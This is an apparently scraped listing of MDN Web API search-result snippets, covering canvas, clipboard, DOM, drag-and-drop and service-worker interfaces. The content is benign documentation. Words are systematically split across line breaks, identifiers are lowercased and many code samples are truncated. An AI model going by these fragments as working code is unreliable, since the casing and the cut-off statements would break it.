ving standardthe definition of 'canvasrenderingcontext2d.strokerect' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.textAlign - Web APIs
vas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '30px serif'; ctx.direction = 'ltr'; ctx.textalign = 'start'; ctx.filltext('start-aligned', 0, 50); ctx.textalign = 'end'; ctx.filltext('end-aligned', canvas.width, 120); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.textalign' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.textBaseline - Web APIs
ctx.font = '36px serif'; ctx.strokestyle = 'red'; baselines.foreach(function (baseline, index) { ctx.textbaseline = baseline; const y = 75 + index * 75; ctx.beginpath(); ctx.moveto(0, y + 0.5); ctx.lineto(550, y + 0.5); ctx.stroke(); ctx.filltext('abcdefghijklmnop (' + baseline + ')', 0, y); }); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.textbaseline' in that specification.
... li
ving standard ...
Advanced animations - Web APIs
« pre
viousnext » in the last chapter we made some basic animations and got to know ways to get things mo
ving.
...the ball gets mo
ving by adding a velocity vector to the position.
Optimizing canvas - Web APIs
« pre
viousnext » the <canvas> element is one of the most widely used tools for rendering 2d graphics on the web.
...this article pro
vides suggestions for optimizing your use of the canvas element to ensure that your graphics perform well.
Canvas tutorial - Web APIs
<canvas> is an html element which can be used to draw graphics
via scripting (usually javascript).
...the examples pro
vided should give you some clear ideas about what you can do with canvas, and will pro
vide code snippets that may get you started in building your own content.
ChildNode - Web APIs
li
ving standard split the elementtraversal interface in parentnode and childnode.
... pre
viouselementsibling and nextelementsibling are now defined on the latter.
Client.url - Web APIs
the url read-only property of the client interface returns the url of the current ser
vice worker client.
...ituntil(clients.matchall({ type: 'window' }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment ser
vice workersthe definition of 'url' in that specification.
Clients.get() - Web APIs
the get() method of the clients interface gets a ser
vice worker client matching a given id and returns it in a promise.
... examples self.clients.get(id).then(function(client) { self.clients.openwindow(client.url); }); specifications specification status comment ser
vice workersthe definition of 'get()' in that specification.
Clipboard.readText() - Web APIs
syntax var promise = na
vigator.clipboard.readtext() parameters none.
... na
vigator.clipboard.readtext().then( cliptext => document.getelementbyid("outbox").innertext = cliptext); specifications specification status comment clipboard api and eventsthe definition of 'readtext()' in that specification.
Clipboard.writeText() - Web APIs
syntax var promise = na
vigator.clipboard.writetext(newcliptext) parameters newcliptext the domstring to be written to the clipboard.
... na
vigator.clipboard.writetext("<empty clipboard>").then(function() { /* clipboard successfully set */ }, function() { /* clipboard write failed */ }); specifications specification status comment clipboard api and eventsthe definition of 'writetext()' in that specification.
ClipboardItem() - Web APIs
the clipboarditem() constructor of the clipboard api creates a new clipboarditem object which represents data to be stored or retrieved
via the clipboard api, that is clipboard.write() and clipboard.read() respectively.
... async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await na
vigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
ClipboardItem.getType() - Web APIs
examples in the following example, we're returning all items on the clipboard
via the clipboard.read() method.
... async function getclipboardcontents() { try { const clipboarditems = await na
vigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
ClipboardItem.types - Web APIs
examples in the below example, we're returning all items on the clipboard
via the clipboard.read() method.
... async function getclipboardcontents() { try { const clipboarditems = await na
vigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
CompositionEvent.initCompositionEvent() - Web APIs
syntax compositioneventinstance.initcompositionevent(typearg, canbubblearg, cancelablearg,
viewarg, dataarg, localearg) parameters typearg a domstring representing the type of composition event; this will be one of compositionstart, compositionupdate, or compositionend.
...
viewarg the window object from which the event was generated.
console.clear() - Web APIs
the console.clear() method clears the console if the en
vironment allows it.
... li
ving standard initial definition ...
Console.dirxml() - Web APIs
if it is not possible to display as an element the javascript object
view is shown instead.
... li
ving standard initial definition ...
Console.group() - Web APIs
using groups in the console requires gecko 9.0(firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) you can use nested groups to help organize your output by
visually associating related messages.
... li
ving standard initial definition ...
console.log() - Web APIs
otherwise, many browsers pro
vide a live
view that constantly updates as values change.
... li
ving standard initial definition ...
ContentIndex.delete() - Web APIs
we receive a reference to the current ser
viceworkerregistration, which allows us to access the index property and thus access the delete method.
... async function unregistercontent(article) { // reference registration const registration = await na
vigator.ser
viceworker.ready; // feature detect content index if (!registration.index) return; // unregister content from index await registration.index.delete(article.id); } the delete method can also be used within the ser
vice worker scope.
ContentIndexEvent.id - Web APIs
the read-only id property of the contentindexevent interface is a string which identifies the deleted content index
via it's id.
... the contentindexevent is only available to the {domxref('ser
viceworkerglobalscope','global scope')}} of a ser
viceworker.
ConvolverNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetconvolvernode() constructorchrome full support 55edge full support ≤79firefox full support 53ie no support noopera fu...
... web
view android full support 55chrome android full support 55firefox android full support 53opera android full support 42safari ios ?
ConvolverNode.buffer - Web APIs
at the time when this attribute is set, the buffer and the state of the attribute will be used to configure the convolvernode with this impulse response ha
ving the given normalization.
... // grab audio track
via xhr for convolver node var soundsource, concerthallbuffer; ajaxrequest = new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuf...
CrashReportBody - Web APIs
examples crash reports are generally only retrievable
via endpoints set up using the report-to header.
... it is difficult to retrieve a crash report
via a reportingobserver, as by that point the page would have crashed!
CredentialsContainer.create() - Web APIs
the create() method of the credentialscontainer interface returns a promise that resolves with a new credential instance based on the pro
vided options, or null if no credential object can be created.
... name: optional usvstring tbd iconurl: optional usvstring tbd pro
vider: (required) usvstring tbd protocol: optional usvstring tbd publickey: optional an publickeycredentialcreationoptions object that describes the options for creating a webauthn credential.
CryptoKey - Web APIs
"derivekey": the key may be used in deri
ving a new key.
... "derivebits": the key may be used in deri
ving bits.
CustomElementRegistry.upgrade() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'customelements.upgrade()' in that specification.
... li
ving standard initial definition.
DOMException() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdomexception() constructorchrome full support yesedge full support 79firefox ?
... web
view android full support yeschrome android full support yesfirefox android ?
DOMException.code - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcodechrome full support yesedge full support 12firefox full support 1ie ?
... opera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support 4opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
DOMException.message - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmessagechrome full support yesedge full support 12firefox full support 1ie ?
... opera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support 4opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
DOMImplementation.createDocumentType() - Web APIs
the domimplementation.createdocumenttype() method returns a documenttype object which can either be used with domimplementation.createdocument upon document creation or can be put into the document
via methods like node.insertbefore() or node.replacechild().
... li
ving standard no change from document object model (dom) level 3 core specification document object model (dom) level 3 core specificationthe definition of 'domimplementation.createdocumenttype' in that specification.
DOMImplementation.createHTMLDocument() - Web APIs
view live examples the returned document is pre-constructed with the following html: <!doctype html> <html> <head> <title>title</title> </head> <body> </body> </html> specifications specification status comment domthe definition of 'domimplementation.createhtmldocument' in that specification.
... li
ving standard initial definition.
DOMMatrixReadOnly.flipX() - Web APIs
note that the x co-ordinate of the
viewbox attribute is negative, showing us content from both sides of the x-axis.
... <svg width="100" height="100"
viewbox="-50 0 100 100"> <path fill="red" d="m 0 50 l 50 0 l 50 100 z" /> <path id="flipped" fill="blue" d="m 0 50 l 50 0 l 50 100 z" /> </svg> this javascript first creates an identity matrix, then uses the `flipx()` method to create a new matrix, which is then applied to the blue triangle, inverting it across the x-axis.
DOMMatrixReadOnly.scale() - Web APIs
examples this svg contains three squares, one red, one blue, and one green, each positioned at the document origin: <svg width="250" height="250"
viewbox="0 0 25 25"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> <rect id="transformedorigin" width="25" height="25" fill="green" /> </svg> this javascript first creates an identity matrix, then uses the scale() method to create a new matrix with a single parameter.
... we test if the browser supports a six parameter scale() method by creating a new matrix using three parameters and obser
ving it's is2d property — if this is false then the third parameter has been accepted by the browser as a scalez parameter, making this a 3d matrix.
DOMPointInit - Web APIs
the dompointinit dictionary is used to pro
vide the values of the coordinates and perspective when creating and jsonifying a dompoint or dompointreadonly object.
... dompointinit.y an unrestricted floating-point number pro
viding the point's y-coordinate.
DOMRect - Web APIs
for example, vreyeparameters.renderrect from the defunct webvr api specified the
viewport of a canvas into which
visuals for one eye of a head mounted display should be rendered.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/domrectreadonly" target="_top"><rect x="1" y="1" width="150" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">domrectreadonly</text></a><polyline points="151,25 161,20 161,30 151,25" stroke="#d4dde4" fill="none"/><line x1="161" y1="25" x2="191" y2=...
DOMRectReadOnly.fromRect() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfromrect() static functionchrome full support 57edge full support 79firefox full support 69ie no support noopera full s...
...upport 44safari full support 10.1web
view android full support 57chrome android full support 57firefox android no support noopera android full support 43safari ios full support 10.3samsung internet android full support 7.0legend full support full support no support no support ...
DOMStringList - Web APIs
domstringlist.contains() returns boolean indicating if the given string is in the list specifications specification status comment html li
ving standardthe definition of 'domstringlist' in that specification.
... li
ving standard initial specification ...
DOMStringMap - Web APIs
specifications specification status comment html li
ving standardthe definition of 'domstringmap' in that specification.
... li
ving standard ...
DOMTokenList.forEach() - Web APIs
li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetforeachchrome full support 45edge full support 16firefox full support 50ie no support noopera full support 32safari full support 10web
view and...
DOMTokenList - Web APIs
domtokenlist.foreach(callback [, thisarg]) executes a pro
vided callback function once per domtokenlist element.
... li
ving standard initial definition ...
DataTransfer() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'the datatransfer() constructor' in that specification.
... li
ving standard initial definition.
DataTransfer.files - Web APIs
example there are two live examples of this interface: firefox only: http://jsfiddle.net/9c2ef/ all browsers: https://jsbin.com/hiqasek/ specifications specification status comment html li
ving standardthe definition of 'files' in that specification.
... li
ving standard html 5.1the definition of 'files' in that specification.
DataTransfer.mozClearDataAt() - Web APIs
if the format argument is not pro
vided, then the data associated with all formats is removed.
... remo
ving the last format for a particular index removes that item entirely, shifting the remaining items down and changing their indices.
DataTransfer.mozCursor - Web APIs
the possible values are: auto uses the default system beha
vior.
... default uses the default gecko beha
vior, which is to set the cursor to an arrow during the drag operation.
DataTransferItem.getAsFile() - Web APIs
drop: file "); } } } specifications specification status comment html li
ving standardthe definition of 'getasfile()' in that specification.
... li
ving standard initial value html 5.1the definition of 'getasfile()' in that specification.
DataTransferItem.getAsString() - Web APIs
drop: file "); } } } specifications specification status comment html li
ving standardthe definition of 'getasstring()' in that specification.
... li
ving standard initial definition.
DataTransferItem.kind - Web APIs
drop: file "); } } } specifications specification status comment html li
ving standardthe definition of 'kind' in that specification.
... li
ving standard initial version html 5.1the definition of 'kind' in that specification.
DataTransferItem.type - Web APIs
drop: file "); } } } specifications specification status comment html li
ving standardthe definition of 'type' in that specification.
... li
ving standard initial version html 5.1the definition of 'type' in that specification.
DataTransferItem.webkitGetAsEntry() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitgetasentrychrome full support 13edge full support 14firefox full support 50ie no support noopera no support ...
... nosafari full support 11.1web
view android no support nochrome android full support yesfirefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yeslegend full support full support no support no support ...
DataTransferItem - Web APIs
specifications specification status comment html li
ving standardthe definition of 'datatransferitem' in that specification.
... li
ving standard initial definition.
DataTransferItemList.DataTransferItem() - Web APIs
he selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } result drag and drop demo link specifications specification status comment html li
ving standardthe definition of 'datatransferitem getter' in that specification.
... li
ving standard ...
DataTransferItemList.length - Web APIs
he selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } result drag and drop demo link specifications specification status comment html li
ving standardthe definition of 'length' in that specification.
... li
ving standard html 5.1the definition of 'length' in that specification.
DataTransferItemList.remove() - Web APIs
release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } specifications specification status comment html li
ving standardthe definition of 'remove()' in that specification.
... li
ving standard html 5.1the definition of 'remove()' in that specification.
DataTransferItemList - Web APIs
specifications specification status comment html li
ving standardthe definition of 'datatransferitemlist' in that specification.
... li
ving standard html 5.1the definition of 'datatransferitemlist' in that specification.
DelayNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdelaynode() constructorchrome full support 55notes full support 55notes notes before version 59, the default values were not supported.edge full support ≤79firefox ...
... web
view android full support 55notes full support 55notes notes before version 59, the default values were not supported.chrome android full support 55notes full support 55notes notes before version 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ...
Document: DOMContentLoaded event - Web APIs
ontent = log.textcontent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; }); result specifications specification status comment html li
ving standardthe definition of 'domcontentloaded' in that specification.
... li
ving standard html5the definition of 'domcontentloaded' in that specification.
Document() - Web APIs
the document constructor creates a new document object that is a web page loaded in the browser and ser
ving as an entry point into the page's content.
... li
ving standard initial definition.
Document.all - Web APIs
specifications specification status comment html li
ving standardthe definition of 'all' in that specification.
... li
ving standard initial definition.
Document.applets - Web APIs
example // when you know the second applet is the one you want my_java_app = document.applets[1]; specifications specification status comment html li
ving standardthe definition of 'document.applets' in that specification.
... li
ving standard obsoleted.
Document.body - Web APIs
specification specification status comment html li
ving standardthe definition of 'document.body' in that specification.
... li
ving standard html 5.1the definition of 'document.body' in that specification.
Document.close() - Web APIs
syntax document.close(); example // open a document to write to it document.open(); // write the content of the document document.write("<p>the one and only content.</p>"); // close the document document.close(); specifications specification status comment html li
ving standardthe definition of 'document.close()' in that specification.
... li
ving standard document object model (dom) level 2 html specificationthe definition of 'document.close()' in that specification.
Document.createCDATASection() - Web APIs
will throw a ns_error_dom_invalid_character_err exception if one tries to submit the closing cdata sequence ("]]>") as part of the data, so unescaped user-pro
vided data cannot be safely used without with this method getting this exception (createtextnode() can often be used in its place).
... li
ving standard ...
Document.currentScript - Web APIs
syntax var curscriptelement = document.currentscript; example this example checks to see if the script is being executed asynchronously: if (document.currentscript.async) { console.log("executing asynchronously"); } else { console.log("executing synchronously"); }
view live examples specifications specification status comment html li
ving standardthe definition of 'document.currentscript' in that specification.
... li
ving standard initial definition ...
Document.designMode - Web APIs
example make an <iframe>'s document editable: iframenode.contentdocument.designmode = "on"; specifications specification status comment html li
ving standardthe definition of 'designmode' in that specification.
... li
ving standard initial definition.
Document.dir - Web APIs
syntax dirstr = document.dir document.dir = dirstr specifications specification status comment html li
ving standardthe definition of 'document.dir' in that specification.
... li
ving standard initial specification ...
Document.documentURIObject - Web APIs
this only works for pri
vileged (universalxpconnect) scripts, including extension code.
... pri
vileged code must be careful not to try getting or setting this property on a non-wrapped content object (e.g., on a wrappedjsobject of an xpcnativewrapper).
Document.domain - Web APIs
const baddomain = "www.example.xxx"; if (document.domain === baddomain) { // just an example: window.close() sometimes has no effect window.close(); } specifications specification status comment html li
ving standardthe definition of 'document.domain' in that specification.
... li
ving standard ...
Document: dragend event - Web APIs
specifications specification status comment html li
ving standardthe definition of 'dragend' in that specification.
... li
ving standard ...
Document: dragexit event - Web APIs
specifications specification status comment html li
ving standardthe definition of 'dragexit' in that specification.
... li
ving standard ...
Document: dragover event - Web APIs
specifications specification status comment html li
ving standardthe definition of 'dragover' in that specification.
... li
ving standard ...
Document: drop event - Web APIs
specifications specification status comment html li
ving standardthe definition of 'drop event' in that specification.
... li
ving standard ...
Document.embeds - Web APIs
specifications specification status comment html li
ving standardthe definition of 'document.embeds' in that specification.
... li
ving standard ...
Document: fullscreenchange event - Web APIs
if (document.fullscreenelement) { console.log(`element: ${document.fullscreenelement.id} entered full-screen mode.`); } else { console.log('lea
ving full-screen mode.'); } }); see element: fullscreenchange event for another example.
... specifications specification status fullscreen api li
ving standard ...
Document.getElementsByName() - Web APIs
both ie and edge return an htmlcollection, not a nodelist specifications specification status comment html li
ving standardthe definition of 'document.getelementsbyname()' in that specification.
... li
ving standard document object model (dom) level 2 html specificationthe definition of 'document.getelementsbyname()' in that specification.
Document.getElementsByTagName() - Web APIs
the returned htmlcollection is live, meaning that it updates itself automatically to stay in sync with the dom tree without ha
ving to call document.getelementsbytagname() again.
... li
ving standard ...
Document.head - Web APIs
recommendation html li
ving standardthe definition of 'document.head' in that specification.
... li
ving standard initial definition.
Document.hidden - Web APIs
syntax var boolean = document.hidden examples document.addeventlistener("
visibilitychange", function() { console.log( document.hidden ); // modify beha
vior...
... }); specifications specification status comment page
visibility (second edition)the definition of 'document.hidden' in that specification.
Document.implementation - Web APIs
if available, other domimplementation methods pro
vide ser
vices for controlling things outside of a single document.
... li
ving standard ...
Document.importNode() - Web APIs
best practice: though it's still an optional argument, you should always pro
vide the deep argument for backward and forward compatibility.
... li
ving standard document object model (dom) level 2 core specificationthe definition of 'document.importnode()' in that specification.
Document.links - Web APIs
example var links = document.links; for(var i = 0; i < links.length; i++) { var linkhref = document.createtextnode(links[i].href); var linebreak = document.createelement("br"); document.body.appendchild(linkhref); document.body.appendchild(linebreak); } specifications specification status comment html li
ving standardthe definition of 'document.links' in that specification.
... li
ving standard document object model (dom) level 2 html specificationthe definition of 'document.links' in that specification.
Document.ononline - Web APIs
window.na
vigator.online returns boolean true if the browser is online and false if it is definitely offline (disconnected from the network).
...a computer can be connected to a network without ha
ving internet access.
Document: pointerleave event - Web APIs
the pointerleave event is fired when a pointing de
vice is moved out of the hit test boundaries of an element.
... for pen de
vices, this event is fired when the stylus leaves the hover range detectable by the digitizer.
Document.querySelectorAll() - Web APIs
the :scope pseudo-class restores the expected beha
vior, only matching selectors on descendants of the base element: var select = document.queryselector('.select'); var inner = select.queryselectorall(':scope .outer .inner'); inner.length; // 0 specifications specification status comment domthe definition of 'parentnode.queryselectorall()' in that specification.
... li
ving standard li
ving standard selectors api level 2the definition of 'parentnode.queryselectorall()' in that specification.
Document.readyState - Web APIs
tapplication(); } } readystatechange as event listener to insert or modify the dom before domcontentloaded document.addeventlistener('readystatechange', event => { if (event.target.readystate === 'interactive') { initloader(); } else if (event.target.readystate === 'complete') { initapp(); } }); specifications specification status comment html li
ving standardthe definition of 'document readiness' in that specification.
... li
ving standard html 5.1the definition of 'document readiness' in that specification.
Document: readystatechange event - Web APIs
nt = log.textcontent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; }); result specifications specification status comment html li
ving standardthe definition of 'readystatechange' in that specification.
... li
ving standard ...
Document.requestStorageAccess() - Web APIs
examples: allow lists, block lists, on-de
vice classification, user settings, anti-clickjacking heuristics, or prompting the user for explicit permission.
... the maximum number of concurrent storage access grants an origin can obtain is a positive integer currently defined as one percent of the number of top-level origins
visited in the current session or 5, whichever is higher.
Document.scripts - Web APIs
let scripts = document.scripts; if (scripts.length) { alert('this page has scripts!'); } specifications specification status comment html li
ving standardthe definition of 'document.scripts' in that specification.
... li
ving standard ...
Document.timeline - Web APIs
the time values for this timeline are calculated as a fixed offset from the global clock such that the zero time corresponds to the na
vigationstart moment plus a signed delta known as the origin time.
... prior to establishing the na
vigationstart moment, the document timeline is inactive.
Document.vlinkColor - Web APIs
the document.vlinkcolor property gets/sets the color of links that the user has
visited in the document.
... the recommended alternative is to get/set the color of the css :
visited pseudo-class on html <a> elements (e.g., a:
visited {color:red;}).
Document: wheel event - Web APIs
the wheel event fires when the user rotates a wheel button on a pointing de
vice (typically a mouse).
... examples scaling an element
via the wheel this example shows how to scale an element using the mouse (or other pointing de
vice) wheel.
Document.writeln() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'document.writeln()' in that specification.
... li
ving standard document object model (dom) level 2 html specificationthe definition of 'document.writeln()' in that specification.
DocumentFragment.querySelector() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetqueryselectorchrome full support 1edge full support 12firefox full support 3.5ie full support 9opera full support ...
... 10safari full support 3.2web
view android full support yeschrome android full support yesfirefox android full support 4opera android full support 10.1safari ios full support 3.2samsung internet android full support yeslegend full support full support see also the documentfragment interface it belongs to.
DocumentOrShadowRoot.caretPositionFromPoint() - Web APIs
demo html content <p>lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor in
vidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.
...r br = document.createelement('br'); textnode.parentnode.insertbefore(br, replacement); } } window.onload = function (){ var paragraphs = document.getelementsbytagname("p"); for (i=0 ; i < paragraphs.length; i++) { paragraphs[i].addeventlistener("click", insertbreakatpoint, false); } }; specifications specification status comment css object model (cssom)
view modulethe definition of 'caretpositionfrompoint()' in that specification.
DocumentOrShadowRoot.elementsFromPoint() - Web APIs
the elementsfrompoint() method of the documentorshadowroot interface returns an array of all elements at the specified coordinates (relative to the
viewport).
... obsolete css object model (cssom)
view modulethe definition of 'elementsfrompoint()' in that specification.
DocumentOrShadowRoot - Web APIs
the documentorshadowroot mixin of the shadow dom api pro
vides apis that are shared between documents and shadow roots.
... li
ving standard initial definition.
DocumentTimeline.DocumentTimeline() - Web APIs
currently the only supported option is the origintime member which specifies the zero time for the documenttimeline as a real number of milliseconds relative to the na
vigationstart moment of the active document for the current browsing context.
... examples we could share a single documenttimeline among multiple animations, thus allowing us to manipulate just that group of animations
via their shared timeline.
DocumentTimeline - Web APIs
the documenttimeline interface of the the web animations api represents animation timelines, including the default document timeline (accessed
via document.timeline).
... examples we could share a single documenttimeline among multiple animations, thus allowing us to manipulate just that group of animations
via their shared timeline.
DocumentType - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" ...
... li
ving standard added implemention of the childnode interface.
How to create a DOM tree - Web APIs
it applies to all gecko-based applications (such as firefox) both in pri
vileged (extensions) and unpri
vileged (web pages) code.
... dom trees can be queried using xpath expressions, converted to strings or written to a local or remote files using xmlserializer (without ha
ving to first convert to a string), posted to a web server (
via xmlhttprequest), transformed using xslt, xlink, converted to a javascript object through a jxon algorithm, etc.
DragEvent.dataTransfer - Web APIs
} dragtarget.addeventlistener("dragend", function(ev) { // call the drag and drop data processor if (ev.datatransfer !== null) processdata(ev.datatransfer); }, false); specifications specification status comment html li
ving standardthe definition of 'dragevent.datatransfer' in that specification.
... li
ving standard html 5.1the definition of 'dragevent.datatransfer' in that specification.
DynamicsCompressorNode - Web APIs
the dynamicscompressornode interface pro
vides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.
...for a more complete example, have a look at our basic compressor example (
view the source code).
Element: DOMActivate event - Web APIs
the domactivate event is fired at an element when it becomes active, such as when it is clicked on using the mouse or a keypress is used to na
vigate to it.
... bubbles yes cancelable yes interface mouseevent examples <svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseprofile="tiny" xmlns:ev="http://www.w3.org/2001/xml-events" width="6cm" height="5cm"
viewbox="0 0 600 500"> <desc>example: invoke an ecmascript function from a domactivate event</desc> <!-- ecmascript to change the radius --> <script type="application/ecmascript"><![cdata[ function change(evt) { var circle = evt.target; var currentradius = circle.getfloattrait("r"); if (currentradius == 100) circle.setfloattrait("r", currentradius * 2); else circle.setfloattrait("r", currentradius * 0.5); } ]]></script> <!-- act on each domactivate event --> <circle cx="300" cy=...
Element: DOMMouseScroll event - Web APIs
the dom dommousescroll event is fired asynchronously when mouse wheel or similar de
vice is operated and the accumulated scroll amount is over 1 line or 1 page since last event.
... note: if the platform's native mouse wheel events only pro
vide scroll distance by pixels, or if the speed can be customized by the user, the value is computed using the line height of the nearest scrollable ancestor element of the event's target.
Element.attachShadow() - Web APIs
open: elements of the shadow root are accessible from javascript outside the root, for example using element.shadowroot: element.shadowroot; // returns a shadowroot obj closed: denies access to the node(s) of a closed shadow root from javascript outside it: element.shadowroot; // returns null delegatesfocus a boolean that, when set to true, specifies beha
vior that mitigates custom element issues around focusability.
... li
ving standard ...
Element.clientHeight - Web APIs
when clientheight is used on the root element (the <html> element), (or on <body> if the document is in quirks mode), the
viewport's height (excluding any scrollbar) is returned.
... example specification specification status comment css object model (cssom)
view modulethe definition of 'clientheight' in that specification.
Element.clientWidth - Web APIs
when clientwidth is used on the root element (the <html> element), (or on <body> if the document is in quirks mode), the
viewport's width (excluding any scrollbar) is returned.
... example specification specification status comment css object model (cssom)
view modulethe definition of 'clientwidth' in that specification.
Element.closest() - Web APIs
the closest() method traverses the element and its parents (heading toward the document root) until it finds a node that matches the pro
vided selector string.
... li
ving standard initial definition.
Element: contextmenu event - Web APIs
html <p id="nocontextmenu">the context menu has been disabled on this paragraph.</p> <p>but it has not been disabled on this one.</p> javascript nocontext = document.getelementbyid('nocontextmenu'); nocontext.addeventlistener('contextmenu', e => { e.preventdefault(); }); result specifications specification status comment html li
ving standardthe definition of 'contextmenu' in that specification.
... li
ving standard ...
Element.currentStyle - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcurrentstyle non-standardchrome no support noedge no support nofirefox no support noie full support 6opera no support ...
... nosafari no support noweb
view android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no supportnon-standard.
Element: fullscreenchange event - Web APIs
if (document.fullscreenelement) { console.log(`element: ${document.fullscreenelement.id} entered fullscreen mode.`); } else { console.log('lea
ving full-screen mode.'); } }); document.getelementbyid('toggle-fullscreen').addeventlistener('click', (event) => { if (document.fullscreenelement) { // exitfullscreen is only available on the document object.
... document.exitfullscreen(); } else { document.getelementbyid('fullscreen-div').requestfullscreen(); } }); specifications specification status fullscreen api li
ving standard ...
Element.insertAdjacentElement() - Web APIs
visualization of position names <!-- beforebegin --> <p> <!-- afterbegin --> foo <!-- beforeend --> </p> <!-- afterend --> note: the beforebegin and afterend positions work only if the node is in a tree and has an element parent.
... li
ving standard ...
Element.insertAdjacentText() - Web APIs
visualization of position names <!-- beforebegin --> <p> <!-- afterbegin --> foo <!-- beforeend --> </p> <!-- afterend --> note: the beforebegin and afterend positions work only if the node is in a tree and has an element parent.
... li
ving standard ...
Element.matches() - Web APIs
